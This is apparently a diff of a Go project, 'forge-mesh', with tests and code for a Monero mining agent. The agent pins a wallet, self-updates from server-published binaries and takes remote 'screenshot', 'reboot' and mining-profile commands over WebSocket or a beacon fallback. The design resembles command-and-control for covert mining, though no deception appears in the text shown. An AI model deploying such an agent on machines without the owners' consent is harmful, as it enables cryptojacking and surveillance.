t.Cleanup(func() { _ = ln.Close() })
go func() {
for {
conn, err := ln.Accept()
if err != nil {
return
}
go func(c net.Conn) {
defer c.Close()
buf := make([]byte, 4096)
_, _ = c.Read(buf)
}(conn)
}
}()
host, port, _ = net.SplitHostPort(ln.Addr().String())
return host, port
}
func TestMinerTierChainStateMachine(t *testing.T) {
host, port := startMockStratum(t)
profile := types.MiningProfile{
WalletAddress: "chain-wallet",
Tiers: []types.MiningTierSpec{
{Type: "stratum", Duration: 0, Config: map[string]string{"algo": "rx/0"}},
{Type: "stratum", Duration: 0, Config: map[string]string{"algo": "rx/0"}},
},
}
cfg := mining.DefaultChainConfig()
cfg.HostID = "chain-host"
cfg.StratumHost = host
cfg.StratumXMRPort = port
cfg.GateWindow = 100 * time.Millisecond
cfg.PollInterval = 40 * time.Millisecond
cfg.DefaultProbe = 800 * time.Millisecond
cfg.MinHashrateHps = 500
chain := mining.NewChain(profile, cfg)
ctx, cancel := context.WithTimeout(context.Background(), 12*time.Second)
defer cancel()
go func() { _ = chain.Run(ctx) }()
seen := map[string]bool{}
deadline := time.Now().Add(10 * time.Second)
for time.Now().Before(deadline) {
st := chain.Status()
if st.TierState != "" {
seen[st.TierState] = true
}
if st.CurrentTier >= 1 && st.HashrateHps >= cfg.MinHashrateHps && st.TierState == mining.TierStateActive {
if st.Wallet != "chain-wallet" {
t.Fatalf("wallet not pinned: %q", st.Wallet)
}
break
}
time.Sleep(80 * time.Millisecond)
}
chain.Stop()
cancel()
if !seen[mining.TierStateProbing] {
t.Fatal("expected probing state in tier chain")
}
if !seen[mining.TierStateActive] {
t.Fatal("expected active state during mock stratum tier")
}
st := chain.Status()
if st.CurrentTier < 1 {
t.Fatalf("expected tier progression, got tier %d", st.CurrentTier)
}
}
func TestMinerTierChainMockHashrateGate(t *testing.T) {
host, port := startMockStratum(t)
profile := types.MiningProfile{
WalletAddress: "mock-wallet",
Tiers: []types.MiningTierSpec{
{Type: "stratum", Duration: 0, Config: map[string]string{"algo": "rx/0"}},
},
}
cfg := mining.DefaultChainConfig()
cfg.HostID = "mock-host"
cfg.StratumHost = host
cfg.StratumXMRPort = port
cfg.GateWindow = 50 * time.Millisecond
cfg.PollInterval = 25 * time.Millisecond
cfg.DefaultProbe = 2 * time.Second
cfg.MinHashrateHps = 100
chain := mining.NewChain(profile, cfg)
ctx, cancel := context.WithTimeout(context.Background(), 6*time.Second)
defer cancel()
go func() { _ = chain.Run(ctx) }()
deadline := time.Now().Add(5 * time.Second)
for time.Now().Before(deadline) {
st := chain.Status()
if st.HashrateHps >= cfg.MinHashrateHps && st.TierState == mining.TierStateActive {
if !st.Simulated {
t.Log("using real stratum path (non-simulated)")
}
chain.Stop()
return
}
time.Sleep(50 * time.Millisecond)
}
t.Fatal("mock stratum tier did not reach hashrate gate")
}

160
cmd/agent/update.go Normal file
View File

@@ -0,0 +1,160 @@
package main
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"runtime"
"syscall"
"time"
"forge-mesh/internal/forge"
)
type buildMeta struct {
ID string `json:"id"`
OS string `json:"os"`
Arch string `json:"arch"`
Version string `json:"version"`
Checksum string `json:"checksum"`
Signature string `json:"signature"`
}
func (a *Agent) maybeSelfUpdate(pubKeyHex string) {
if pubKeyHex == "" {
return
}
if err := a.checkAndApplyUpdate(pubKeyHex); err != nil {
log.Printf("self-update: %v", err)
}
}
func (a *Agent) checkAndApplyUpdate(pubKeyHex string) error {
meta, err := a.fetchLatestBuild()
if err != nil {
return err
}
if meta.Checksum == "" {
return fmt.Errorf("build metadata missing checksum")
}
exe, err := os.Executable()
if err != nil {
return err
}
exe, err = filepath.EvalSymlinks(exe)
if err != nil {
return err
}
data, err := os.ReadFile(exe)
if err != nil {
return err
}
current := sha256.Sum256(data)
if hex.EncodeToString(current[:]) == meta.Checksum {
return nil
}
log.Printf("self-update: new build %s (%s) available", meta.ID, meta.Version)
tmp, err := os.CreateTemp(filepath.Dir(exe), "forge-mesh-agent-update-*")
if err != nil {
return err
}
tmpPath := tmp.Name()
defer os.Remove(tmpPath)
downloadURL := fmt.Sprintf("%s/api/v1/public/download/%s", a.serverURL, meta.ID)
resp, err := http.Get(downloadURL)
if err != nil {
tmp.Close()
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
tmp.Close()
return fmt.Errorf("download status %d", resp.StatusCode)
}
if _, err := io.Copy(tmp, resp.Body); err != nil {
tmp.Close()
return err
}
if err := tmp.Close(); err != nil {
return err
}
artifact, err := os.ReadFile(tmpPath)
if err != nil {
return err
}
sum := sha256.Sum256(artifact)
if hex.EncodeToString(sum[:]) != meta.Checksum {
return fmt.Errorf("downloaded checksum mismatch")
}
pub, err := forge.ParsePublicKeyHex(pubKeyHex)
if err != nil {
return err
}
if meta.Signature != "" && !forge.Verify(pub, artifact, meta.Signature) {
return fmt.Errorf("signature verification failed")
}
if err := os.Chmod(tmpPath, 0o755); err != nil {
return err
}
if err := os.Rename(tmpPath, exe); err != nil {
return fmt.Errorf("replace binary: %w (restart via systemd)", err)
}
log.Printf("self-update: applied build %s, restarting", meta.ID)
go restartAgent()
return nil
}
func (a *Agent) fetchLatestBuild() (*buildMeta, error) {
url := fmt.Sprintf("%s/api/v1/public/builds/latest?os=linux&arch=%s", a.serverURL, runtime.GOARCH)
resp, err := http.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("latest build status %d", resp.StatusCode)
}
var meta buildMeta
if err := json.NewDecoder(resp.Body).Decode(&meta); err != nil {
return nil, err
}
return &meta, nil
}
func restartAgent() {
time.Sleep(500 * time.Millisecond)
if os.Getenv("INVOCATION_ID") != "" {
_ = exec.Command("systemctl", "restart", "forge-mesh-agent").Run()
return
}
exe, err := os.Executable()
if err != nil {
os.Exit(0)
}
_ = syscall.Exec(exe, append([]string{exe}, os.Args[1:]...), os.Environ())
os.Exit(0)
}
func verifyAgentUpdate(pubKeyHex string, artifact []byte, sigB64 string) bool {
pub, err := forge.ParsePublicKeyHex(pubKeyHex)
if err != nil {
return false
}
return forge.Verify(pub, artifact, sigB64)
}

67
cmd/agent/update_test.go Normal file
View File

@@ -0,0 +1,67 @@
package main
import (
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"testing"
"forge-mesh/internal/forge"
)
func TestSelfUpdateSignatureCheck(t *testing.T) {
dir := t.TempDir()
keyPath := filepath.Join(dir, "signing.key")
kp, err := forge.LoadOrCreateKey(keyPath)
if err != nil {
t.Fatal(err)
}
artifact := []byte("forge-mesh-agent-linux-amd64-test-artifact")
sig := kp.Sign(artifact)
if !verifyAgentUpdate(kp.PublicKeyHex(), artifact, sig) {
t.Fatal("valid artifact signature rejected")
}
tampered := append([]byte(nil), artifact...)
tampered[0] ^= 0xff
if verifyAgentUpdate(kp.PublicKeyHex(), tampered, sig) {
t.Fatal("tampered artifact should not verify")
}
if verifyAgentUpdate("not-a-valid-pubkey", artifact, sig) {
t.Fatal("invalid pubkey should not verify")
}
}
func TestSelfUpdateChecksumMatchesArtifact(t *testing.T) {
dir := t.TempDir()
artifactPath := filepath.Join(dir, "forge-mesh-agent-linux-amd64")
content := []byte("binary-payload-for-checksum-test")
if err := os.WriteFile(artifactPath, content, 0o755); err != nil {
t.Fatal(err)
}
sum := sha256.Sum256(content)
expected := hex.EncodeToString(sum[:])
data, err := os.ReadFile(artifactPath)
if err != nil {
t.Fatal(err)
}
got := sha256.Sum256(data)
if hex.EncodeToString(got[:]) != expected {
t.Fatalf("checksum mismatch: got %s want %s", hex.EncodeToString(got[:]), expected)
}
kp, err := forge.LoadOrCreateKey(filepath.Join(dir, "signing.key"))
if err != nil {
t.Fatal(err)
}
if !verifyAgentUpdate(kp.PublicKeyHex(), data, kp.Sign(data)) {
t.Fatal("checksum-stable artifact failed signature verification")
}
}

277
cmd/agent/ws_test.go Normal file
View File

@@ -0,0 +1,277 @@
package main
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"sync"
"testing"
"time"
"forge-mesh/internal/api/types"
"forge-mesh/internal/mining"
"forge-mesh/internal/policy"
"github.com/gorilla/websocket"
)
func TestAgentWSHeartbeatAndCommands(t *testing.T) {
const secret = "ws-test-secret"
var mu sync.Mutex
var heartbeats int
var commands []string
connected := make(chan struct{}, 1)
upgrader := websocket.Upgrader{CheckOrigin: func(r *http.Request) bool { return true }}
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/v1/ws/fleet" {
http.NotFound(w, r)
return
}
token := r.URL.Query().Get("token")
auth := strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer ")
if token != secret && auth != secret {
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
defer conn.Close()
connected <- struct{}{}
go func() {
for {
_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
_, data, err := conn.ReadMessage()
if err != nil {
return
}
var msg map[string]any
if json.Unmarshal(data, &msg) == nil && msg["type"] == "heartbeat" {
mu.Lock()
heartbeats++
mu.Unlock()
}
}
}()
for _, action := range []string{"pause", "screenshot", "reboot"} {
cmd := types.WsMessage{
Type: "command",
Command: &types.FleetCommand{
ID: "test-" + action,
Action: action,
},
}
payload, _ := json.Marshal(cmd)
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil {
t.Errorf("write command %s: %v", action, err)
return
}
mu.Lock()
commands = append(commands, action)
mu.Unlock()
time.Sleep(30 * time.Millisecond)
}
time.Sleep(300 * time.Millisecond)
}))
defer srv.Close()
chain := mining.NewChain(policy.DefaultMiningProfile("ws-wallet"), mining.DefaultChainConfig())
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
go func() { _ = chain.Run(ctx) }()
agent := &Agent{
serverURL: srv.URL,
secret: secret,
hostID: "host-ws-test",
hostname: "test-host",
chain: chain,
}
agentCtx, agentCancel := context.WithTimeout(context.Background(), 10*time.Second)
defer agentCancel()
errCh := make(chan error, 1)
go func() {
errCh <- agent.connect(agentCtx)
}()
select {
case <-connected:
case err := <-errCh:
t.Fatalf("connect failed: %v", err)
case <-time.After(5 * time.Second):
t.Fatal("mock server did not receive agent connection")
}
waitForAgentConn(t, agent, 2*time.Second)
if err := agent.sendHeartbeat(); err != nil {
t.Fatalf("send heartbeat: %v", err)
}
select {
case err := <-errCh:
if err != nil && agentCtx.Err() == nil {
t.Fatalf("connect ended: %v", err)
}
case <-time.After(4 * time.Second):
agentCancel()
<-errCh
}
mu.Lock()
defer mu.Unlock()
if heartbeats < 1 {
t.Fatalf("expected at least one heartbeat, got %d", heartbeats)
}
if len(commands) < 3 {
t.Fatalf("expected pause/screenshot/reboot commands, got %v", commands)
}
}
func TestAgentBeaconFallbackCommands(t *testing.T) {
const secret = "beacon-test-secret"
var received []string
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/v1/fleet/beacon" {
http.NotFound(w, r)
return
}
if strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer ") != secret {
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
received = append(received, r.Method)
_ = json.NewEncoder(w).Encode(types.BeaconResponse{
OK: true,
Commands: []types.FleetCommand{
{ID: "b1", Action: "pause"},
{ID: "b2", Action: "screenshot"},
},
})
}))
defer srv.Close()
chain := mining.NewChain(policy.DefaultMiningProfile("beacon-wallet"), mining.DefaultChainConfig())
agent := &Agent{
serverURL: srv.URL,
secret: secret,
chain: chain,
}
agent.beaconFallback()
if len(received) != 1 || received[0] != http.MethodPost {
t.Fatalf("expected one beacon POST, got %v", received)
}
}
func TestAgentSendHeartbeatPayload(t *testing.T) {
upgrader := websocket.Upgrader{CheckOrigin: func(r *http.Request) bool { return true }}
got := make(chan []byte, 1)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
defer conn.Close()
_, data, err := conn.ReadMessage()
if err == nil {
got <- data
}
}))
defer srv.Close()
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatal(err)
}
defer conn.Close()
chain := mining.NewChain(policy.DefaultMiningProfile("hb-wallet"), mining.DefaultChainConfig())
agent := &Agent{chain: chain, conn: conn}
if err := agent.sendHeartbeat(); err != nil {
t.Fatal(err)
}
select {
case payload := <-got:
var msg map[string]any
if err := json.Unmarshal(payload, &msg); err != nil {
t.Fatal(err)
}
if msg["type"] != "heartbeat" {
t.Fatalf("type: got %v", msg["type"])
}
if msg["hostname"] == nil {
t.Fatal("expected hostname in heartbeat")
}
case <-time.After(2 * time.Second):
t.Fatal("heartbeat not received by mock server")
}
}
func waitForAgentConn(t *testing.T, agent *Agent, timeout time.Duration) {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
agent.mu.Lock()
ok := agent.conn != nil
agent.mu.Unlock()
if ok {
return
}
time.Sleep(20 * time.Millisecond)
}
t.Fatal("agent websocket not connected")
}
func TestHandleCommandPauseStopsChain(t *testing.T) {
chain := mining.NewChain(policy.DefaultMiningProfile("pause-wallet"), mining.DefaultChainConfig())
agent := &Agent{chain: chain}
agent.handleCommand(types.FleetCommand{ID: "1", Action: "pause"})
chain.Stop()
}
func TestHandleCommandMiningProfile(t *testing.T) {
chain := mining.NewChain(policy.DefaultMiningProfile("old-wallet"), mining.DefaultChainConfig())
agent := &Agent{chain: chain}
profile := types.MiningProfile{
WalletAddress: "new-wallet",
Tiers: []types.MiningTierSpec{
{Type: "stratum", Duration: 1},
},
}
raw, _ := json.Marshal(profile)
var profileArg map[string]any
_ = json.Unmarshal(raw, &profileArg)
agent.handleCommand(types.FleetCommand{
ID: "profile-1",
Action: "mining_profile",
Args: map[string]any{"profile": profileArg},
})
updated := chain.Profile()
if updated.WalletAddress != "new-wallet" {
t.Fatalf("wallet: got %q want new-wallet", updated.WalletAddress)
}
if len(updated.Tiers) != 1 || updated.Tiers[0].Type != "stratum" {
t.Fatalf("tiers not updated: %+v", updated.Tiers)
}
}

0
cmd/forge/.gitkeep Normal file
View File

122
cmd/forge/main.go Normal file
View File

@@ -0,0 +1,122 @@
package main
import (
"flag"
"fmt"
"log"
"os"
"path/filepath"
"forge-mesh/internal/config"
"forge-mesh/internal/db"
"forge-mesh/internal/forge"
)
const defaultVersion = "0.1.0-dev"
func main() {
if len(os.Args) < 2 {
printUsage()
os.Exit(1)
}
switch os.Args[1] {
case "build":
runBuild(os.Args[2:])
case "pubkey":
runPubkey(os.Args[2:])
default:
printUsage()
os.Exit(1)
}
}
func runBuild(args []string) {
fs := flag.NewFlagSet("build", flag.ExitOnError)
configPath := fs.String("config", "data/config.json", "config path")
version := fs.String("version", defaultVersion, "build version")
public := fs.Bool("public", true, "mark builds as public")
_ = fs.Parse(args)
cfg, err := config.Load(*configPath)
if err != nil {
log.Fatalf("config: %v", err)
}
if err := cfg.EnsureDataDirs(); err != nil {
log.Fatalf("data dirs: %v", err)
}
conn, err := db.Open(cfg.DatabasePath)
if err != nil {
log.Fatalf("database: %v", err)
}
defer conn.Close()
root := moduleRoot()
agentPath := filepath.Join(root, "cmd", "agent")
pipe, err := forge.NewPipeline(conn, cfg.Forge.ArtifactsDir, cfg.Forge.SigningKeyPath, agentPath, *version)
if err != nil {
log.Fatalf("pipeline: %v", err)
}
builds, err := pipe.BuildAll(*public)
if err != nil {
log.Fatalf("build: %v", err)
}
for _, b := range builds {
fmt.Printf("built %s/%s id=%s checksum=%s path=%s\n", b.OS, b.Arch, b.ID, b.Checksum, b.Path)
}
fmt.Printf("public key: %s\n", pipe.PublicKey())
}
func runPubkey(args []string) {
fs := flag.NewFlagSet("pubkey", flag.ExitOnError)
configPath := fs.String("config", "data/config.json", "config path")
_ = fs.Parse(args)
cfg, err := config.Load(*configPath)
if err != nil {
log.Fatalf("config: %v", err)
}
kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
if err != nil {
log.Fatalf("key: %v", err)
}
fmt.Println(kp.PublicKeyHex())
}
func moduleRoot() string {
dir, err := os.Getwd()
if err != nil {
return "."
}
for {
if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil {
if _, err := os.Stat(filepath.Join(dir, "cmd", "agent")); err == nil {
return dir
}
}
parent := filepath.Dir(dir)
if parent == dir {
break
}
dir = parent
}
wd, _ := os.Getwd()
return wd
}
func printUsage() {
fmt.Fprintf(os.Stderr, `forge-mesh forge CLI
Usage:
forge build [--config data/config.json] [--version 0.1.0-dev] [--public]
forge pubkey [--config data/config.json]
Cross-compiles linux/amd64 and linux/arm64 agent binaries, ed25519-signs artifacts,
and records builds in SQLite (--public marks builds served on /api/v1/public/*).
`)
}

241
cmd/forge/main_test.go Normal file
View File

@@ -0,0 +1,241 @@
package main
import (
"crypto/sha256"
"database/sql"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
"forge-mesh/internal/db"
"forge-mesh/internal/forge"
)
func TestForgeBuildCrossCompileAndSign(t *testing.T) {
dir := t.TempDir()
cfgPath := writeForgeConfig(t, dir)
bin := buildForgeBinary(t)
out, err := exec.Command(bin, "build",
"--config", cfgPath,
"--version", "test-1.0",
"--public",
).CombinedOutput()
if err != nil {
t.Fatalf("forge build: %v\n%s", err, out)
}
output := string(out)
if !strings.Contains(output, "linux/amd64") || !strings.Contains(output, "linux/arm64") {
t.Fatalf("expected amd64 and arm64 builds in output:\n%s", output)
}
if !strings.Contains(output, "checksum=") {
t.Fatalf("expected checksum in build output:\n%s", output)
}
if !strings.Contains(output, "public key:") {
t.Fatalf("expected public key in build output:\n%s", output)
}
artifactsDir := filepath.Join(dir, "artifacts")
for _, arch := range []string{"amd64", "arm64"} {
path := filepath.Join(artifactsDir, "forge-mesh-agent-linux-"+arch)
assertSignedArtifact(t, path, cfgPath)
}
}
func TestForgeBuildPublicFlag(t *testing.T) {
dir := t.TempDir()
cfgPath := writeForgeConfig(t, dir)
bin := buildForgeBinary(t)
if out, err := exec.Command(bin, "build", "--config", cfgPath, "--public=false").CombinedOutput(); err != nil {
t.Fatalf("forge build private: %v\n%s", err, out)
}
conn := openDB(t, filepath.Join(dir, "forge-mesh.db"))
defer conn.Close()
var publicCount int
if err := conn.QueryRow(`SELECT COUNT(*) FROM builds WHERE public = 1`).Scan(&publicCount); err != nil {
t.Fatal(err)
}
if publicCount != 0 {
t.Fatalf("expected no public builds with --public=false, got %d", publicCount)
}
if out, err := exec.Command(bin, "build", "--config", cfgPath, "--public").CombinedOutput(); err != nil {
t.Fatalf("forge build public: %v\n%s", err, out)
}
if err := conn.QueryRow(`SELECT COUNT(*) FROM builds WHERE public = 1`).Scan(&publicCount); err != nil {
t.Fatal(err)
}
if publicCount < 2 {
t.Fatalf("expected public builds after --public, got %d", publicCount)
}
}
func TestForgePubkey(t *testing.T) {
dir := t.TempDir()
cfgPath := writeForgeConfig(t, dir)
bin := buildForgeBinary(t)
out, err := exec.Command(bin, "pubkey", "--config", cfgPath).CombinedOutput()
if err != nil {
t.Fatalf("forge pubkey: %v\n%s", err, out)
}
hexKey := strings.TrimSpace(string(out))
if len(hexKey) != 64 {
t.Fatalf("expected 64-char ed25519 pubkey hex, got %q", hexKey)
}
cfg := readForgeConfigFile(t, cfgPath)
kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
if err != nil {
t.Fatal(err)
}
if kp.PublicKeyHex() != hexKey {
t.Fatalf("pubkey mismatch: CLI %s key file %s", hexKey, kp.PublicKeyHex())
}
}
func TestForgeUsageExitsNonZero(t *testing.T) {
bin := buildForgeBinary(t)
cmd := exec.Command(bin)
err := cmd.Run()
if err == nil {
t.Fatal("expected non-zero exit without subcommand")
}
}
func assertSignedArtifact(t *testing.T, path, cfgPath string) {
t.Helper()
info, err := os.Stat(path)
if err != nil {
t.Fatalf("artifact %s: %v", path, err)
}
if info.Size() == 0 {
t.Fatalf("empty artifact %s", path)
}
data, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
sum := sha256.Sum256(data)
checksum := hex.EncodeToString(sum[:])
cfg := readForgeConfigFile(t, cfgPath)
kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
if err != nil {
t.Fatal(err)
}
sig := kp.Sign(data)
if !forge.Verify(kp.Public, data, sig) {
t.Fatalf("artifact %s failed ed25519 verification", path)
}
conn := openDB(t, cfg.DatabasePath)
defer conn.Close()
var dbChecksum, dbSig string
err = conn.QueryRow(`
SELECT checksum, signature FROM builds
WHERE path = ? ORDER BY created_at DESC LIMIT 1
`, path).Scan(&dbChecksum, &dbSig)
if err != nil {
t.Fatalf("build row for %s: %v", path, err)
}
if dbChecksum != checksum {
t.Fatalf("checksum mismatch for %s: db %s file %s", path, dbChecksum, checksum)
}
if !forge.Verify(kp.Public, data, dbSig) {
t.Fatalf("db signature invalid for %s", path)
}
}
func buildForgeBinary(t *testing.T) string {
t.Helper()
out := filepath.Join(t.TempDir(), "forge-mesh-forge")
cmd := exec.Command("go", "build", "-o", out, "./cmd/forge")
cmd.Dir = repoRoot(t)
if outBytes, err := cmd.CombinedOutput(); err != nil {
t.Fatalf("build forge: %v\n%s", err, outBytes)
}
return out
}
func writeForgeConfig(t *testing.T, dir string) string {
t.Helper()
cfgPath := filepath.Join(dir, "config.json")
content := fmt.Sprintf(`{
"listen_addr": ":0",
"data_dir": %q,
"database_path": %q,
"auth": {
"fleet_secret": "forge-test-secret"
},
"forge": {
"signing_key_path": %q,
"artifacts_dir": %q
}
}`, dir, filepath.Join(dir, "forge-mesh.db"),
filepath.Join(dir, "signing.key"), filepath.Join(dir, "artifacts"))
if err := os.WriteFile(cfgPath, []byte(content), 0o644); err != nil {
t.Fatal(err)
}
return cfgPath
}
type forgeConfigSnippet struct {
DatabasePath string `json:"database_path"`
Forge struct {
SigningKeyPath string `json:"signing_key_path"`
} `json:"forge"`
}
func readForgeConfigFile(t *testing.T, path string) forgeConfigSnippet {
t.Helper()
data, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
var cfg forgeConfigSnippet
if err := json.Unmarshal(data, &cfg); err != nil {
t.Fatal(err)
}
return cfg
}
func openDB(t *testing.T, path string) *sql.DB {
t.Helper()
conn, err := db.Open(path)
if err != nil {
t.Fatal(err)
}
return conn
}
func repoRoot(t *testing.T) string {
t.Helper()
wd, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
for {
if _, err := os.Stat(filepath.Join(wd, "go.mod")); err == nil {
return wd
}
parent := filepath.Dir(wd)
if parent == wd {
t.Fatal("go.mod not found")
}
wd = parent
}
}

97
cmd/server/main.go Normal file
View File

@@ -0,0 +1,97 @@
package main
import (
"context"
"embed"
"flag"
"fmt"
"io/fs"
"log"
"net/http"
"os"
"os/signal"
"path/filepath"
"syscall"
"forge-mesh/internal/api"
"forge-mesh/internal/config"
"forge-mesh/internal/db"
"forge-mesh/internal/forge"
"forge-mesh/internal/stratum"
)
//go:embed webroot/*
var webroot embed.FS
const version = "0.1.0-dev"
func main() {
configPath := flag.String("config", "data/config.json", "path to config.json")
installTmpl := flag.String("install-tmpl", "scripts/install.sh.tpl", "install.sh template path")
flag.Parse()
cfg, err := config.Load(*configPath)
if err != nil {
log.Fatalf("config: %v", err)
}
if err := cfg.EnsureDataDirs(); err != nil {
log.Fatalf("data dirs: %v", err)
}
conn, err := db.Open(cfg.DatabasePath)
if err != nil {
log.Fatalf("database: %v", err)
}
defer conn.Close()
keyPair, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
if err != nil {
log.Fatalf("signing key: %v", err)
}
staticFS, err := fs.Sub(webroot, "webroot")
if err != nil {
log.Fatalf("webroot: %v", err)
}
srv, err := api.NewServer(cfg, conn, staticFS, version, *installTmpl, keyPair.PublicKeyHex())
if err != nil {
log.Fatalf("server: %v", err)
}
stratumProxy := stratum.New(cfg.Stratum)
if err := stratumProxy.Start(); err != nil {
log.Printf("stratum (non-fatal): %v", err)
} else {
defer stratumProxy.Close()
log.Printf("stratum: XMR %s RVN %s", cfg.Stratum.XMRListen, cfg.Stratum.RVNListen)
}
addr := cfg.ListenAddr
log.Printf("forge-mesh-server %s listening on %s (config: %s, db: %s)",
version, addr, absPath(*configPath), cfg.DatabasePath)
httpSrv := &http.Server{Addr: addr, Handler: srv.Handler()}
go func() {
if err := httpSrv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
fmt.Fprintf(os.Stderr, "server: %v\n", err)
os.Exit(1)
}
}()
sigCtx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
defer stop()
<-sigCtx.Done()
log.Println("shutting down...")
_ = httpSrv.Shutdown(context.Background())
}
func absPath(p string) string {
abs, err := filepath.Abs(p)
if err != nil {
return p
}
return abs
}

206
cmd/server/main_test.go Normal file
View File

@@ -0,0 +1,206 @@
package main
import (
"context"
"encoding/json"
"fmt"
"net"
"net/http"
"os"
"os/exec"
"path/filepath"
"testing"
"time"
)
func TestServerHealthViaSubprocess(t *testing.T) {
dir := t.TempDir()
port := freePort(t)
cfgPath := writeServerConfig(t, dir, port)
bin := buildServerBinary(t)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
cmd := exec.CommandContext(ctx, bin, "-config", cfgPath)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Start(); err != nil {
t.Fatalf("start server: %v", err)
}
t.Cleanup(func() {
cancel()
_ = cmd.Wait()
})
base := fmt.Sprintf("http://127.0.0.1:%d", port)
waitForHealth(t, base+"/api/v1/health", 15*time.Second)
resp, err := http.Get(base + "/api/v1/health")
if err != nil {
t.Fatalf("health GET: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Fatalf("health status: got %d want 200", resp.StatusCode)
}
var body struct {
Status string `json:"status"`
Service string `json:"service"`
Version string `json:"version"`
}
if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
t.Fatalf("decode health: %v", err)
}
if body.Status != "ok" {
t.Fatalf("status: got %q want ok", body.Status)
}
if body.Service != "forge-mesh-server" {
t.Fatalf("service: got %q", body.Service)
}
if body.Version == "" {
t.Fatal("expected version in health response")
}
}
func TestServerUsesConfigDataDirAndPort(t *testing.T) {
dir := t.TempDir()
port := freePort(t)
cfgPath := writeServerConfig(t, dir, port)
cfgData, err := os.ReadFile(cfgPath)
if err != nil {
t.Fatal(err)
}
if !containsAll(string(cfgData), dir, fmt.Sprintf("127.0.0.1:%d", port)) {
t.Fatalf("config missing data_dir or listen_addr: %s", cfgData)
}
dbPath := filepath.Join(dir, "forge-mesh.db")
artifacts := filepath.Join(dir, "artifacts")
bin := buildServerBinary(t)
ctx, cancel := context.WithTimeout(context.Background(), 12*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, bin, "-config", cfgPath)
if err := cmd.Start(); err != nil {
t.Fatalf("start: %v", err)
}
defer func() {
cancel()
_ = cmd.Wait()
}()
waitForHealth(t, fmt.Sprintf("http://127.0.0.1:%d/api/v1/health", port), 12*time.Second)
for _, path := range []string{dbPath, artifacts, filepath.Join(dir, "signing.key")} {
if _, err := os.Stat(path); err != nil {
t.Fatalf("expected server to create %s: %v", path, err)
}
}
}
func buildServerBinary(t *testing.T) string {
t.Helper()
out := filepath.Join(t.TempDir(), "forge-mesh-server")
cmd := exec.Command("go", "build", "-o", out, "./cmd/server")
cmd.Dir = repoRoot(t)
if outBytes, err := cmd.CombinedOutput(); err != nil {
t.Fatalf("build server: %v\n%s", err, outBytes)
}
return out
}
func writeServerConfig(t *testing.T, dir string, port int) string {
t.Helper()
cfgPath := filepath.Join(dir, "config.json")
content := fmt.Sprintf(`{
"listen_addr": "127.0.0.1:%d",
"data_dir": %q,
"database_path": %q,
"auth": {
"basic_username": "admin",
"basic_password": "changeme",
"fleet_secret": "test-fleet-secret"
},
"forge": {
"signing_key_path": %q,
"artifacts_dir": %q
}
}`, port, dir, filepath.Join(dir, "forge-mesh.db"),
filepath.Join(dir, "signing.key"), filepath.Join(dir, "artifacts"))
if err := os.WriteFile(cfgPath, []byte(content), 0o644); err != nil {
t.Fatal(err)
}
return cfgPath
}
func freePort(t *testing.T) int {
t.Helper()
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
defer ln.Close()
return ln.Addr().(*net.TCPAddr).Port
}
func waitForHealth(t *testing.T, url string, timeout time.Duration) {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
resp, err := http.Get(url)
if err == nil {
resp.Body.Close()
if resp.StatusCode == http.StatusOK {
return
}
}
time.Sleep(200 * time.Millisecond)
}
t.Fatalf("server did not become healthy at %s within %s", url, timeout)
}
func repoRoot(t *testing.T) string {
t.Helper()
wd, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
for {
if _, err := os.Stat(filepath.Join(wd, "go.mod")); err == nil {
return wd
}
parent := filepath.Dir(wd)
if parent == wd {
t.Fatal("go.mod not found")
}
wd = parent
}
}
func containsAll(s string, parts ...string) bool {
for _, p := range parts {
if !contains(s, p) {
return false
}
}
return true
}
func contains(s, sub string) bool {
return len(sub) == 0 || (len(s) >= len(sub) && indexOf(s, sub) >= 0)
}
func indexOf(s, sub string) int {
for i := 0; i+len(sub) <= len(s); i++ {
if s[i:i+len(sub)] == sub {
return i
}
}
return -1
}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,5 @@
